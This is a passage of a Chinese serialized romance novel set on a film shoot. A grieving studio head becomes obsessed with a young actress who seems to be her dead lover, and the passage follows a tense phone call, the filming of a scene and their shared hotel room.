陆嵬已经不再蜷缩着,但显然也没好到哪去,脸色依然苍白,眼睛有气无力的睁着,呼吸轻不可闻,手无力的搭在膝盖,指尖还在以不正常的频率发颤,整个人苍白到像是下一秒就要破碎。 裘夏把水拧开,小心的喂了陆嵬一口,没喂进去,陆嵬没有喝水的意思,几乎无意识的偏头避开了。 裘夏就把水收了回去。 “药吃了没?”裘夏去翻陆嵬的口袋,在她外套的兜里面翻出来了一个简单的常备用药的药盒,里面分门别类的分别放了三天用药的药量。 ,一颗都没少。 “你……”裘夏皱了皱眉,但说的话,手里攥着的注射器不到万不得已也不敢随便给她注射,只,小嵬,你现在什么都不要管,先以后,你想做什么咱们再商量……” 她话说的无力,因为她也不知道究竟是哪一个点让陆嵬忽然之间情绪大变,又或者是不是陆嵬一直就没控制住,自然而然就发作了,那就更无能为力。 旁边传出来了极为嘶哑的声音,陆嵬不 她脸上一丁点血色都没有,衣袖下的手骨细的裘夏不忍再看,睫毛明明被沾湿了,可脸上没有眼泪。 仔细看, “我没事。”陆嵬轻飘飘的说:“夏姐,我没事。” 裘夏喉头却忽然剧烈的一哽。 两年前陆嵬突然失踪,一夜过后突然带着元宝回到家里,看到她的那一瞬间,说的是同样的话。 可裘夏甚至不知道究竟发生了什么。 突然让她找人去查探小黎的生平,突然调查小黎的资料,又突然犯了病。 “陆嵬,有什么事你得跟我说啊,我什么不知道,我想帮你都有心无力。”裘夏低声说:“你这颗假心脏,能经得起你折腾多少次?” 陆嵬正想开口说什么,手机忽然在她口袋里震了震。 她动作一停,但手机还在响。不是短信和消息,是电话。 来电显示“顾宗年”,她看了一眼,本来挂着点裘夏品不出来味道的笑脸立刻就冷了下来。 裘夏敏感的意识到了什么。 但陆嵬已经扶着房车的扶手站了起来,和裘夏四目对视,低声说:“别过来。” 她不是在恳求,也不是在命令,裘夏分不清那一句的含义到底是‘别过来’,还是‘你别掺和’。 房车的大门被紧紧关上,一门之隔,车里漆黑一片,陆嵬没开灯,手机来电屏幕闪烁跳跃着的光线显得格外刺眼。 来电显示已经快到了自动挂断的时间,但对方似乎笃定陆嵬不会率先挂电话,稳定的震动的频率在这一刻甚至显得有点诡异。 像是电话那头有一个放风筝的人,正在慢悠悠的操纵着手中的线,因而操纵者是自己,所以笃定了风筝飞得多高,多远,都在自己的掌控之中。 在自动挂断的前一秒,陆嵬按下了接听。 四下寂静,只有片场透进来的一丝冷白灯光。 裘夏不光没跟进来,甚至离得远了点,在房车不远处守着,以免有人会上来打扰到她。 一窗之隔,裘夏隐秘而焦躁的关心溢出,陆嵬一瞬间有落泪的冲动。 她和裘夏的友谊说多不多,说少不少,看起来似乎也没多大深交,平时她也冷清惯了,自从黎数去世以后,她也变得不怎么爱说话,公司的事情也大半撒手不管了。 她和裘夏之间也没有血缘亲情,甚至在她看来当年只不过是随意的一个举动,她自认为是随手之劳的事情,但换来的是裘夏这么多年任劳任怨的付出。 寰宇在她撒手后,几乎是裘夏独挑大梁。 她之前提过股份再分,但裘夏没要,还第一次和她红了脸,但第二天还是嘻嘻哈哈的拎了果酒去她家,把521泼的浑身黏腻,气的521在家里横冲直撞,弄脏弄坏了不知道多少家具。 她说她出完气了,气出完了就能重新回去干活了。 陆嵬冲着裘夏露出了一个浅笑,然后背过了身。 手机中传出的声音很清晰,电话那头的顾宗年声色醇厚,语气是娓娓道来的温和:“小嵬,怎么这么久才接电话?这会在忙吗?” 陆嵬闭了闭眼,把手机放在桌面,按了扩音后说:“刚刚在和裘夏说话,没留意手机消息。” 顾宗年笑了笑,“也没什么大事,正巧今天和你爸爸在一起吃饭,他提到你了,说你最近在跟进费导的一部电影,声势闹得还挺大,是奔着拿奖和捧人去的。他这一说,我才发现从你出院开始,咱们师徒俩也有一段时间没聚过了。” 陆嵬抱着胳膊,从口袋里摸出来了一个很亮的黑石头。 她的手无意识的摸着那颗石头把玩,躺在房车的沙发上,把石头拢在了手心里面。 会发光,并不怎么明显的暗绿色的夜光石头。 陆嵬无声的弯着眼睛笑了笑,才想起电话那头顾宗年还在等着。 她才应了声,说:“是比较忙,费导这部电影是我两年前参与过的策划,从上到下都有我的手笔,她来找我,凝雪姐又是主演,我总要过来捧个场。” “凝雪啊,说起来,老师也和她有很久没见过了。”顾宗年又笑笑,过会又叹了口气,“说起凝雪,我觉得可惜,忍不住想起了《真凶》来。这片子实在是可惜,同样也沉寂了两年。” 石头被陆嵬一下子攥紧了。 顾宗年又继续说:“我要是没记错的话,一开始《真凶》定的应该是你以前那个女朋友吧,我现在还记得她,你爸爸说她比你大了几岁,倒是很会照顾人,也就是你当时小心眼儿,不愿意她抛头露面,说怕她演了岑巡以后红了,心就野了,眼见着合同都签了,临了了,硬是找了你姥姥那边的关系把人给换下去了。” 提起这件事情,顾宗年似乎觉得好笑,过了会又忍不住无奈,“可惜啊,你当时那么喜欢她,谁能想到这么造化弄人。” 陆嵬一直静静地听着。 直到这个时候,她才打断了顾宗年的话,说:“顾老师,您今天找我,就是来特意找我唠家常的吗?” 顾宗年又笑起来:“好好好,老师不提她了。我也是受人之托,过来打电话问问你,你最近新签的那小女孩是什么情况,是认真的,还是真和外界说的那样,你找了个替身?小嵬,小猫小狗的养养可以慰藉心情,可人,不合适啊。” 陆嵬坐了起来。 裘夏不知道从哪搬了个凳子,硬拉着521玩起了斗地主。 黎数在更远处拍戏,从房车的位置上看其实根本看不到什么,只能隐隐约约知道她的站位。 陆嵬半真半假的说:“顾老师,你相信人会死而复生吗?我觉得她就是黎数,或者她没死,从地底下爬出来了回来找我。” 那边静了十几秒。 陆嵬扯扯唇角,窗户倒影里反映的影子显得有点森然:“她们一定就是一个人。我也想明白了,以前是我小心眼,我怕她红了就不要我了,这才把她害死的,现在她还能回来,那我就不能那样了。不就是想红,想演戏吗?她想要什么,那我都给她就是了。” 手机那头又是一阵持续的寂静。 陆嵬面无表情:“顾老师,你说对吗?” 顾宗年说:“对。” 陆嵬垂下眼,回过头,目光紧紧地盯着顾宗年的名字,回应道:“以后小黎还得请顾老师多关照。” 顾宗年说:“这是当然的,她要是真……”顾宗年嗓音滞了片刻,“演技好,能挑的起来,到时候把她也一起带来,咱们一起吃顿便饭,你师母也很久没见过你了。” 陆嵬说:“一定,以后小黎也免不了您和我爸的看顾。” 电话从电话那边挂断,陆嵬的表情逐渐趋近于空白。 手中的黑色石头在她的掌心不断地翻转,良久以后,陆嵬将石头收回了口袋夹层,拿起手机,重新打了一个电话。 电话那边是一个温柔慈爱的女声,几乎是刚响起就接了,“喂?是小嵬吗?这么晚了有事吗?” “周姨,是我。”陆嵬垂下睫毛,低声说:“要麻烦您接下来这个月跟我在片场待着,我有份菜谱待会发给你,劳您研究研究,行吗?” 周姨很惊讶,但第一反应是高兴:“你有什么想吃的尽管发来,我这边收拾收拾,明天一早就能过去,小张不是说你把521也带去了吗?我做了几十年饭菜,到时候就多麻烦一下521就行啦,我看一眼就明白。” 陆嵬脸上露出了一抹浅笑。 然后她说道:“谢谢您周姨。” 挂断电话后,陆嵬下了车。 裘夏瞬间站起来,顺带把牌面毁了。 521气的‘啊啊’叫:“你输不起你输不起!我用的可是七岁小孩的水平跟你打的,你怎么这样还毁牌啊!你太可恶了!我以后再也不跟你打牌了!” 裘夏嘻嘻哈哈朝521扮了个鬼脸。 521流着宽面条泪去找黎数了,一边走还一边‘呜呜呜’的哭。 “事儿聊完了?”裘夏打量了下陆嵬的脸色。 比上去前强得多。 她又翻开陆嵬口袋检查药的数量,陆嵬没吃。 沉默两秒,裘夏也没多说什么。 陆嵬说:“有事儿拜托你。” 陆嵬垂下眼,看着裘夏把药盒又塞进她自己口袋里面:“随便找谁,再去一趟一统,把小黎近两年来所有的资料全部取来,还有她四川老家所有的档案,图片、文字、但凡有的,我全都要。” 交代完这些事情,陆嵬远远的看着和521玩你拍一我拍一游戏的黎数,眼睛眨了眨,下意识往前迈了一步。 但最终,她也只是停在了原地,长而颤抖的缓缓呼出了一口气。 第39章 第三十九章【VIP】 陆嵬和裘夏回到费鹤鸣那的时候,黎数当天的工作只剩下最后一条了。 中场调整时间,费鹤鸣坐在椅子上一遍遍的看回放。 黎数的演技几乎没有错漏,每一次看的时候,她都忍不住惊叹。 不论演员多大岁数,但演技能达到这种灵动鲜活、将自已与角色完全共情的程度,整个圈子里都少之又少。 太多人已经习惯用技巧去偷懒,所以演技持续倒退,越来越扁平,每一个角色都是一个模子里刻出来的,也就导致整部戏的失败。 见陆嵬过来,她吩咐着场务去收拾,趁着空闲的功夫让人搬了个椅子来。 裘夏和她不熟,但几个人的关系打着弯儿也算是亲近的,她坐这也没什么不能听的。 正巧她也有事情要和陆嵬说。 裘夏的目光望着费鹤鸣监视器里的画面,想起刚刚那一阵的心悸,就不免又开始忧虑陆嵬和黎数之间的关系。 “刚刚小陈过来说你身体好像不舒服,怎么回事?”费鹤鸣捏了捏陆嵬的手,枯瘦的手又搓了搓陆嵬的额头。 她几乎占了陆嵬小半个生命的时间和陪伴,从陆嵬只有十几岁的时候就经常能看到她,对待陆嵬的时候,关心起来也和大多数老人相差不远—— 看看手凉不凉,看看是不是发烧,问问是不是不高兴,有没有好好吃饭。 陆嵬摇摇头,说道:“没有的事儿。” 她目光直视着监视器,过了会,忽然说:“我看眼回放。” 费鹤鸣惊讶的看了她一眼。 陆嵬已经很久没掌机了,总导演的位置也已经很久没来这里坐过了。 事实上在这一次黎数进组之前,陆嵬即便是进组,大多时间也都是商谈工作,或者是在她的要求下出一份人力,偶尔说个三两句,也都让人很受用。 因为陆嵬即便是久不经手,可她所有说的内容都总是一针见血的,选角、深入方面也比别人多了几分天生的直觉,她很敏锐。 她提出来检查回放,费鹤鸣哪有不同意的道理。 当下就往旁边挪了挪,把位置让开。 陆嵬戴上了耳机。 电影才用的是现场收声,后期再根据表现去调整,大多才用分轨录音的方式,可以修正一些气口、咬字上的错误。 这两种结果有好有坏,前者更有现场表演的爆发力,但现在的观众大多都听习惯了后期专业演员配音,很多演员已经不在台词上下功夫了。 但如果一个演员台词功底足够过硬,临场感和现场爆发的情绪,会将后期配音给衬托的什么都不是,因为后者容易削弱临场感,缺爆发、缺融入,会扁平而不出彩。 从前补录受设备、科技等等的限制会出现断层,以及很明显的跳戏的声音,但现有技术已经可以将两者尽可能的融合到一起。 这一段镜头中,是李梨被架着板车的父亲卖了的一幕。 内容其实极其简单,但对于整个电影来说,都是极为重要的、画龙点睛的一笔。 她身上的衣服被换成了稻草填塞的棉袄,臃肿不堪、且寸步难行。 每走一步,浑身的肌肤都会被稻草割到、刺到。 她有父亲、有哥哥,还有一个弟弟。这样一个家庭里的女儿,不论在哪一个时代,几乎从出生就注定了可以预见的悲剧。 被拉到从未见过的繁华都市的少女一语不发,她被父亲捆着,绑着,连掏都没有办法。 平日里总是刻意抹黑的脸被上门的‘席娘’擦的干干净净,头发短,却也用烧火钳夹出了几个滑稽的卷。 她这一路都是沉默无言的,直到父亲拿到钱,架着车逐渐离开这里,她才像是终于意识到了什么。 她不停地追着那辆已经远走的驴车。 妈妈似乎已经见惯了这样的情形,但她没拦,旁边有看场子的骑车自发追了上去,妈妈一点都不心急,甚至招呼着已经醒来开始凑热闹的女人们都过来看。 一张张如花般娇艳明媚的脸上,有怜悯、有嘲笑、有认命……更多的,是麻木。 但没有人离开。 她们看着少女哭啊、喊啊,一路追出上百米外,直到脚上的鞋子磨破、衣服上的稻草裸露,刺破了她的衣服,也划破了她的脸。 她的哭声不知道什么时候停了。 她忍着眼泪,吞下哽咽,不再喊叫,奋力的埋头直追。直到脚底开始产生出痛感,她才停下脚步,看了一眼出血了的脚。 因为剧烈活动,她的脸色苍白,喘|息声极大,和求救的意思,定。 她知道追不上,只会让自已受伤,所以不追了。 来迟,比她的声音更早出现的,是她身上浓郁的香味。 黎数动动鼻子, 妈妈和她对视了一会,从前会撂下的一些锥心的话却再也说不出来了。 ,讨好,无所适从,更没有麻木和认命。 这种坚毅惨痛,在极快认清现实后开始拼命向上挣扎着活的模样,让妈妈一时间沉默了下来。 陆嵬知道下一句台词是什么。 ——“你还追他,是想做什么?指望你那个抽大|烟的爹良心发现吗?” 黎数的目光仍然望着父亲消失的方向,冷冷的说:“把钱抢回来,那是我的卖身钱,凭什么给他。” “妈妈,你帮我把钱拿回来。”黎数仰着头,瘦削的脸上是不屈:“早年间,我姥姥是在富贵人家做过大丫头的,以后得买卖都好谈,我比那些只能卖身的有用。” 一口气彻底被灌满,隔着一层屏幕,陆嵬都感觉自已被镜头中的人治愈了。 接下来要补的是一个大远景,但刚刚有人过来说,*黎数的脚是真的伤到了。 费鹤鸣皱了皱眉,“重不重?” 来的人说不知道。 陆嵬起身,将耳机还给费鹤鸣,低声说:“我过去看看。” 裘夏目光一直跟在陆嵬的身后,直到她走了,裘夏才把目光停留在了画面中,定格在了黎数特写中的脸上。 过了会,她问费鹤鸣,说道:“费导,你说小黎和之前的黎数,是不是有点太像了?” 费鹤鸣的动作一顿。 她重新坐回去,手里是一个保温壶。 拧开喝了两口,费鹤鸣才说:“之前小嵬也问过我这个。她没说出口,但我知道她是什么意思。” 费鹤鸣年纪大了,一辈子不信什么神神鬼鬼,什么死里逃生后蛰伏两年改头换面的故事。 可每一次、每一部电影或电视剧开机时,又都会举办开机宴祭祀祈福。 她不信,但不能不敬重。 费鹤鸣只能如是说:“一统前些年刚刚把大小乔姐妹推出来的时候,我也觉得像,甚至她们两个出生时间都恰好在那对姐妹离世后。” “但是小裘啊,黎数刚刚死两年,小黎——”费鹤鸣的手指点了点监视器,“她已经十八岁了。她有父亲、有母亲,有她自已的人生经历,她们两个之间,连投胎转世都凑不到一起去,也只限于是相似了。” 裘夏食指蹭蹭鼻尖,笑了声说:“是我鬼迷心窍了。” 也是陆嵬一连串的行为实在是太诡异了。 冷不丁的就带回来一个女孩,冷不丁的那女孩就和已经死去的黎数同名同姓,甚至就连性格也和从前完全不一样了,演技更像是突然如有神助般开了窍。 难不成一切都只能归因于是巧合? 裘夏叹了口气,左右看看,发现陆嵬不知道什么时候已经凑到了黎数那边去,521和春风在旁边挡着,什么也看不见。 黎数的脚其实伤的不重,只是被一块形状有点尖锐的石头划伤了。 这其实是在安排之外的内容,但是黎数处理的好,所以没人看出来差别,甚至算是锦上添花,因为受伤了,所以少女才停下,也就意味着,在她的心里,父亲不比自已重要。 比莫名其妙因为力竭停下来要强得多。 伤的也不算深,就是挺吓人的,直接被割进去了一小块肉,弧度明显,有一个硬币大小。 剧组里有随行的大夫,但黎数没让她来,自已盘着脚刚把血擦干净,疼的直皱眉毛。 陆嵬过去的时候,黎数甚至已经打算涂点碘伏以后,只在伤口那贴个创口贴就算完了。 521急的两眼冒泪花,机械小手捧在胸前,整个机器人呈现出了个西子捧心状,嘴巴呼哈呼哈的给黎数扇风,试图能给她减轻点疼痛。 陆嵬坐过去把它挤到一边,拍开了黎数的手——一个创口贴盖不住创面,黎数打算再贴几个,处理方式简单粗暴无脑,她一向不是特别爱惜自已的身体。 黎数被她拍的手一飞,创可贴飞到了蹲在一边的元宝背上,给元宝急的原地开始蹦猫迪,喵喵叫变成了嗷嗷叫,但这样也抓不到贴到它毛上的东西,抓狂的和521一起开始打转。 陆嵬抽空仰头看了一眼,“蠢猫。” 黎数抬头扫了她一眼,伸手去解救元宝。 她的一条腿被陆嵬搬到了腿上。 时间已经很晚了,大多数演员都收工下班,只剩下黎数和相关龙套、配角还在这里等着最后一场远景,拍完以后也可以收工。 倒也没什么人注意到这里。 陆嵬熟练的从药箱里面取出碘伏,重新给黎数上过药以后,挑了挑,取出来了一块无菌敷贴,又用纱布给黎数裹好了。 之后,她取出了一块521擦脸的小湿巾,拆开,要给黎数清理刚刚那一路跑脏的脚。 黎数要躲,陆嵬的手攥着她的脚脖子,愣是没让她往回缩。 两人的目光不期而然在半空中相撞。 黎数慢吞吞的说:“陆总……” 陆嵬皱了皱眉,低声说:“别乱动。” 说罢,陆嵬低下头,又把黎数脚上其他脏的地方一一清理干净,细致到脚趾缝都没落下,才把黎数的脚放了回去。 黎数扯了扯唇角。 仗着这附近没人,她低头看了眼又踩进那双脏鞋子里面的脚,忍不住出声说:“陆总可真周到。” 陆嵬不为所动。 521常用的湿巾一包两片,一张擦脸,一张擦身体。她给黎数清理完以后,还剩下一张,就着剩的那张擦了擦手。 闻言回头看了一眼,黎数的脸一半一半的藏在阴影下,唇角是一抹怎么看都不像是善意的笑。 她狼狈的挪开视线,低着头把脏湿巾扔到521背后的篮子里面,说:“应该的。” 又过了会,陆嵬忽然轻声说:“从前有个人,也是这么帮我处理伤口的。” 黎数不为所动。 521无声的靠近了点,屏幕上的大眼睛一眨一眨的。 陆嵬说:“那是我第一次和她去海边旅游,我的脚被海滩边上的贝壳划烂了。” 黎数抱着胳膊靠在一边,脸上依然没什么表情。 场务和道具已经开始做最后的检查和标点,这一些弄完以后就可以过去开拍了。 闻言她‘啊’了一声,虽然给了回应,没让陆嵬一个人唱独角戏,但语气不咸不淡的,“就是你女朋友吧。” 陆嵬‘嗯’了声。 黎数扯扯唇角。 过了会,她说:“那您记忆力还挺好的,现在还能把学到的东西用在别人身上,我真诚的夸您一句会活学活用。” 意识到自已说的有点过,黎数没再继续挖苦,从原地站了起来。 道具铺设完毕,副导开始喊人集合,因为是收工前最后一场戏,大家的状态都不错。 黎数脚伤了,但没有因为一个硬币大小的伤口就拖累人的道理,费鹤鸣检查了几遍没发现问题,一条就过了。 收工以后,黎数和陆嵬是跟着张姐的车走的,春风搭了工作人员的车回去。 黎数这才知道张姐的随身是真随身,陆嵬到哪她就到哪,几乎是一十四小时全年无休。 黎数不是社恐,平时出门也爱和人聊天,对张姐的工作也挺好奇,回去的路上就多问了两句。 这才知道,张姐今年五十多,已经离婚了,只有一个女儿,女儿早年因为催婚的压力随便相亲结了婚,但婚后才知道男方有赌博的恶习,打了几次官司才离,现在女儿带着外孙女和她一起租房子住。 两人居然都是净身出户才能摆脱婚姻。 黎数听后久久无言。 半晌,她说道:“一个人是挺好的,一段感情吵吵闹闹,处的久了以后,感情被琐事消磨,到最后都是生活,其实都一样。您现在不是也好起来了吗?” 一个人的精神头是瞒不住人的。 张姐认真、负责,有女性独有的细心、周到、稳妥,她开车从不发脾气,也没那么多好奇心。 岁月的磋磨没让她变成祥林嫂,而是让这个人近中年的女人在女儿结婚生女后下定了决定,彻底离开了那个拖累了她半生的家庭。 有一份固定的工作,靠着开了几十年出租、拿到过数次表彰和荣誉的资历获得了陆嵬专职司机的这项工作,待遇可以说是翻了不知道多少倍,每天精气神和体力比现下的年轻人都强数倍。 黎数的那段话,陆嵬实在是没有一丁点开口的余地。 张姐已经和她们在一起久了,相处起来虽然恪守着本分,但黎数开了话题想聊天,一路上也无聊,她就顺嘴问了句:“是啊,当时觉得天都塌了,感觉要熬不下去,可现在好起来了,只要人还活着,总能为自已活出个路来不是吗?” “我今天在旁边看黎小姐你拍戏的时候,哎呦,李梨可真是,我都不知道用什么词来形容好了。我就记得,我妈、甚至我姥姥那个年代里,能活下来的女人又有哪一个不是顶天立地的,都是吃尽了苦头的。”张姐说到这里,“等电影上了,我到时候得请我的老姐妹们一起去看看。” 黎数弯着眼睛说,“那我先谢谢张姐捧场了。” 似乎是注意到了陆嵬上车以后一直都很沉默,黎数想起自已现在这身份,也不好总无视‘雇主’。 于是又接了句俏皮话:“您到时候直接拿着票据找陆总报销好了,电影上了以后,陆总说不定还会全公司休假半天去看电影呢,多几份也不嫌多。” 陆嵬看了眼黎数脸上终于有几分笑意的面庞,说:“可以。” 张姐笑着点头。 路程还有近半,张姐又问:“黎小姐,你这么小年纪就出来打拼,也是很不容易的喔,家里都还好吧?” 陆嵬不动声色的从车窗里注视着黎数。 黎数一开始愣了一下。 不管是自已的家人,还是原主的家人,黎数都已经……很久没有消息了。 她迟疑了下,低声说:“我……很久没回家了,不知道他们现在怎么样了。” 张姐匆忙从后视镜看了眼黎数的表情,然后不着痕迹的说:“你还这么小,你父母年纪应该也都还年轻,正是有力气、有拼劲儿的时候。” 黎数又想起黎余说缓了子宫癌的母亲,皱了皱眉,回应不出一个‘嗯’字。 过了会,黎数才笑着说:“等有空了,我就回去看看。” 陆嵬的手捏紧了一瞬,很快又放松。 然后陆嵬说:“到时候我和你一起去。” 黎数一愣,本来她只是想偷偷的去看看自已母亲。 黎余的嘴不严,问一句她答十句,下午自已只是问了母亲在哪个医院,黎余就跟倒豆子似的嘚吧嘚把病房号都说出来了。 黎数刚想说不用陆嵬送,但很快就意识到,陆嵬说的,是原主的家庭。 这么久了,居然还能犯这种问题。 黎数叹了口气,这次没拒绝,说了声好。 原主那一帮家里人恐怕不好应付,事到如今,黎数其实已经没有了回去原主家乡的念头。 那个已经死去的小姑娘对家乡没有留恋,只有怨恨和委屈。 她也已经知道了原主的家庭情况,以后也不会有什么挖根究底的疑问。 更何况那地方偏僻,远在山里的村庄,有可能十里八乡都是同姓的,往前数几辈谁和谁都有亲,一个人回去了可能就回不来了。 即便是陆嵬跟着,估计都得带几个保镖一起去才能保证人身安全。 后半程安静了不少,张姐问在副驾驶坐的521明天的开工时间。 521松开了捏紧胸口安全带的手,仔仔细细的把自已掉到了座位上的小裙子叠好,才说:“明早还是五点半起床,张奶奶你放心,我会叫小黎起床的,我现在和她住在一起呢,她还会抱着我和元宝睡觉。” 元宝听到521喊它,嗲嗲的‘喵’了声当做回应。 小机器人清脆的声音总能恰到好处的打断一些令人不舒服的氛围。 521后半程用它独有的电子童声唱起了不在调上的儿歌,摇头晃脑的快乐的摆着自已快乐的小手。 偶尔元宝兴致来了,会跟着一起在调上‘喵喵’两声。 黎数下车前,嘀嘀咕咕的说:“感觉521和元宝一起开一个账号当网红的话,粉丝一定能很多。” 这会回酒店的车都是最后一班收工的车,人不算少,但大多都默契的避开了陆嵬和黎数的电梯,去等别的。 没人挤一个电梯,两个人加一个机器人和一只猫也差不多让酒店不算大的电梯塞得有点满。 陆嵬这时候才说道:“国家是禁止人工智能端口直接对接平台的,一旦查处,会按照叛国罪处罚。” 黎数不用她解释也知道了原因,因为像是521这种存在太过于犯规了,且即便它其它的功用再怎么可以被平价的东西替代,但处理芯片不会。 太多的方法可以钻平台的空子了,一旦521这种级别的机器人开始干预市场,那市场就乱套了。 “人工智能……”黎数摸了摸521被春风洗的香喷喷的头发,说道:“大脑真是神奇。” “神奇吗小黎?”521抬起头,“我的大脑壁纸里都是你喔,我也不知道为什么,但是每一次在我的大脑里面看见你,我就也觉得我的大脑很神奇。” 黎数的感叹发到一半又被噎回来了,只剩下了哭笑不得。 晚上简单的洗漱过,黎数从浴室出来时,陆嵬还没睡。 521脑袋后面有一个插口,插口的另一段连接着陆嵬的电脑,521在吃电子苹果,手边插着真苹果喂元宝。 这一幕真的非常、非常、非常温馨。 黎数立在浴室门口,擦拭头发的毛巾挂在脖子上,唇角却露出了一个笑来。 即便是日后和寰宇好聚好散后,可能再想起来今天,黎数也会觉得开心。 陆嵬是第一个发现她出来的人。 她手里点着烟,一下一下在床头的烟灰缸里点着燃烧的灰尘,屋里烟气不大,但烟灰缸里已经点了有几根了。 黎数回过神,擦着头发上的水往自已那边走,走动间沾着水珠的白皙皮肤在灯光下好像在发光,塞进去的浴巾一角随着她的动作摇摇欲坠。 她浑然未觉,在坐到床边时,浴巾终于散开,从她的身体上滑落。 从陆嵬的视角,半遮半掩的可以从黎数抬起的手臂看到些许白软的圆弧,后背是黎数弧度极美的脖颈,背脊深陷,一条隐隐约约的股沟被堆叠的浴巾挡着,阴影明亮掺半。 是黎数。 坐在那张床上的人是黎数。 是黎数的背影,是黎数裸露着的后背。 是她魂牵梦绕,朝思暮想的爱人。 就这么毫不防备的坐在她面前。 陆嵬狼狈的垂下眼,目光凝在黎数脊骨消失处的那一颗小痣上,盯了很久,僵了半晌,几乎是逃一般的冲进了浴室。 浴室的镜子上是水痕,没有被新一轮的雾气遮盖,陆嵬猛烈吞咽了几下,才发现镜子里的脸已经红透了。 陆嵬觉得是浴室太熏了,屋里小,黎数洗过澡后的热气都没散。 她什么时候脸红过。 她低下头,想洗把脸,手刚刚碰到水龙头的瞬间,在浴室旁边的架子上发现了两件极小的衣服。 旁边是黎数今天穿的常服。 浴室里的气味是黎数走后才会有的若有若无的甜,陆嵬盯着黎数换下来的衣服,身体的本能再大脑下达命令之前,先一步自发反手锁上了浴室的门。 片刻后,她走近,手触及那一片柔软的布料,将其捧起来,脸埋了进去,很轻、很珍惜、很缓慢的深吸了一口气。 那是属于黎数的味道,是这个世界上最好、最好的安抚剂。 陆嵬的头深深埋在那一小片衣服里,久久没抬起来。 第40章 第四十章【VIP】 门被从外面敲了两声。 陆嵬那一瞬间几乎整个人都弹了一下,像是从梦里惊醒般抬起了头。 镜子里面是她通红的脸,薄软的小衣服还在她的手上捧着,两根细细的带子向下垂着,一荡一荡,像是连同着她的心一起,正在被一只无形的手漫不经心、随意的拨弄着。 根本挣脱不开,也不愿意挣脱。 陆嵬看了门一眼,没意识到自己此刻居然有点慌张。 暂时有点断连的大脑才终于想起来,自己刚刚应该是把门关上了的,不会被发现。 但意识回笼,她简直不敢相信自己此刻的所作所为。 居然像个变态一样背对着黎数偷闻她贴身的衣服。 可理智是这么说的,手里的小衣服却又不舍得丢下,在手里又捏了捏,很软、很弹,好像在说多捏几下。 陆嵬握着,无意识的又摩擦了会,才硬生生压下去了那股疯狂涌上来的、想要不顾一切就冲出去,将一切说明的冲动。 清清嗓子,她不再去看镜子里的自己,视线略避开了些,扬声说:“谁?” “是我。”黎数在门外,声音有些含糊不清:“陆总,我没听到水声,你开始洗了吗?我的内|衣忘在里面了,能让我取一下吗?” 陆嵬垂下眼,手里的衣服没放开,这种偷偷摸摸的行为让她的声音不自觉压低:“我已经脱|了。等会吧,我很快。” 黎数这才应了声,“好。” 圈里很多艺人会让助理给清理贴身衣服,但黎数不喜欢这样,她在私生活领域一般划分的还是比较细致的,这些极私密的事情,一般都是能自己来就自己来。 门外的脚步声逐渐离远了些,陆嵬将衣服放平,想起什么,伸手丈量了一下尺寸。 变大了,其实甚至不需要伸手测量,只是目测也比黎数最开始在剧组面试时的尺寸大很多。 黎数在紫檀的时候独自住在二层,她没进去过,但家政上去打扫的时候说过,有一个空房间里面有不少行李。 说是黎小姐封存在那里,不让碰的。 陆嵬一向没有什么窥探她人隐私的想法,二楼本身去的也少,自从黎数住进去以后,除了偶尔会去二楼拿一些小东西或是专业书,就没再踏足过。 更不可能知道黎数贴身的衣服都长什么样子。 她又没有偷窥别人的陋习。 黎数在刚进寰宇的时候,填报的各项尺寸数据不是现在这个样子,胸|围要小得多,不是单纯的随体重增减的大小。 陆嵬简单量了一下,又将衣服转到后面,单手拨开不经意间扣上的暗扣,最后确定了下标签上的尺码。 和黎数从前的尺寸一模一样。 就连牌子、款式都是一样的,也是她喜欢的浅色系,再一摸前面,正中间的垂直饰品也被拆掉了。 那件开机仪式上穿过的裙子,即便黎数不给521,恐怕也是穿不上的,因为她的个子也比之前高了一点,目测有两三公分。 陆嵬终于舍得把那团已经被她蹂躏了个遍的小衣服放回了原位,眉眼压低,- 出来的时候黎数还没睡。 陆嵬的头发很长,保留着黎数从前最爱的长度,出来时也不能像是黎数那样只在脖颈搭一个毛巾,得把头发全部裹着,不然水会滴一路。 见陆嵬出来,黎数撩起眼皮看了她一眼,陆嵬穿的是浴袍,裹得密不透风。 洗完澡后上床,人就容易倦怠,黎数懒洋洋的不太想动弹。 如果房间里没人,她应该会试图指挥一见水就成僵尸的猫子。命令它把自己贴身衣服放到小型洗衣机里面,元宝当然不可能听懂,黎数一般这种情况也只是为了提神。 以前如果是陆嵬在,陆嵬会在一边静静地听着,然后笑着回一句:“点我呢?” 黎数就看着她笑。 但陆嵬也知道,黎数除非真的困极、累极,一般不会差使她做什么。 所以陆嵬后面进去洗澡的时候,偶尔看到黎数落在浴室的衣服时,都会直接代劳给洗了。 毕竟经常脱都是她亲手脱的。 洗一下而已,陆嵬一般不想再开个吵人的机器,且机洗风干过后也得在机器里盖着盖子放一宿,陆嵬心里觉得细菌会发酵。 但现在现在只能自己来,黎数一咬牙从床上起来,进了浴室去收拾。 再出来的时候,台。 今晚下过雨,,窗户开着条缝。 刚刚走和窗户一起打开了。 夜晚、山林、环境城市,让这帮多少都有点艺术气息的人们陷入了一小波狂欢,每一次过堂风吹过,都是一阵的雀跃,和身体上的自由洒脱。 黎数无声的躺回了床上,看了眼朦胧的雨幕。 曾经在一个山里拍摄的时候,受环境限制,她和休假过来探班的陆嵬借住在一个农家。 那家的主人是一个年近八十的老婆婆,但身体极好,人也很爱干净,头发拢在后面盘起,每天都会用头油将碎发梳理整齐,比起其他人家里大多数都夹杂着一股鸡鸭屎臭味儿的环境,那个老人家里永远都是清新朴实的、令黎数觉得很安心的味道。 黎数很喜欢那间她和陆嵬住的小屋子。 当时在山里也遇到了连绵的雨,但当时的题材背景就是需要潮湿和山林,黎数每天在林子里泡到浑身皮肉发白,湿热到浑身都是疹子。 只有回到农家小院的时候,看到陆嵬时才能放松一些。 老人睡得早,小院里只有她和陆嵬两个人。 夜深人静的山林里面,她们两个没有点灯,压抑着呼吸和情|动,只借着月光亲密的接吻,迎着穿堂而过的凉风,去抚平身上的情|热时出的汗水,简单清洗后,陆嵬会给她涂上药膏,再和她相拥着抵足而眠。 但此刻的室内只有空调开的除湿的声音。 521正举着吹风机给陆嵬吹头发,偶尔有三两个521的尖叫声传来,像是被陆嵬气的,但声音很弱,更听不清楚她们在说什么。 元宝悄无声息的从床尾走到床头,没有骨头似的贴着黎数的脸颊软倒,整只猫像是一条华贵的围巾一样,把黎数的颈窝占满了。 黎数弯着唇角无声笑了笑,伸手摸着元宝已经开始逐渐有了点肉的身体,热乎乎的,咕噜噜的响声抚平了些许此刻的寂寥。 